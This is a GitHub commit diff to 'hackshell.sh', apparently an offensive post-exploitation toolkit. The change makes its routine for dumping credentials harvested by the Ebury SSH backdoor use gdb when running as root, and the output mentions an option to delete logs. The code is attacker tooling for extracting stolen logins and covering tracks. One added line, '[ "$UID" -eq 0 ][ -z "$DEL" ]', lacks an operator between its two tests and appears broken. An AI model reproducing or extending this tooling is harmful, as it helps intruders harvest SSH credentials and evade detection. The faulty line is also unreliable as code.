Skip to content

Commit 25f2a3c

Browse files
committed
Use GDB when root
1 parent 1f5ea84 commit 25f2a3c

File tree

1 file changed

+7
-4
lines changed

1 file changed

+7
-4
lines changed

hackshell.sh

Lines changed: 7 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1405,17 +1405,20 @@ _ebcredsoxdump() {
14051405
}
14061406
14071407
_ebgdborsox() {
1408-
[ -z "$DEL" ] && command -v gdb >/dev/null && {
1408+
local pid="${1:?}"
1409+
local usegdb="${2:-}"
1410+
[ "$usegdb" = 1 ] && {
14091411
_ebcredgdbdump "$pid"
14101412
return
14111413
}
14121414
_ebcredsoxdump
14131415
}
14141416
14151417
_ebdump() {
1416-
local s con rvia res pid="${1:?}"
1418+
local usegdb s con rvia res pid="${1:?}"
14171419
1418-
res=$(_ebgdborsox "$pid" | while :; do
1420+
[ "$UID" -eq 0 ] && [ -z "$DEL" ] && command -v gdb >/dev/null && usegdb=1
1421+
res=$(_ebgdborsox "$pid" "$usegdb" | while :; do
14191422
read -r s
14201423
[ -z "$s" ] && {
14211424
[ -n "$con" ] && echo -e "#$(( ($(date +%s) - con)/60 )) minutes ago"
@@ -1425,7 +1428,7 @@ _ebdump() {
14251428
[ -z "$con" ] && con=$(echo "$s" | grep -E $'\te\t1' | cut -f8 -d $'\t')
14261429
done)
14271430
[ -z "$res" ] && { echo -en "${CN}"; return; } #failed. Maybe already ptraced?
1428-
[ -z "$DEL" ] && command -v gdb >/dev/null && rvia="via gdb [set DEL=1 to delete logs]" || rvia="via @$(_ebsock)"
1431+
[ "$UID" -eq 0 ][ -z "$DEL" ] && command -v gdb >/dev/null && rvia="via gdb [set DEL=1 to delete logs]" || rvia="via @$(_ebsock)"
14291432
echo -e "${CN}${CDY}Dumping Ebury log ${rvia} (last: $(echo "$res" | grep ^# | sed 's/^.//')):${CF}"
14301433
14311434
echo "$res" | grep ^: | column -t

0 commit comments

Comments
 (0)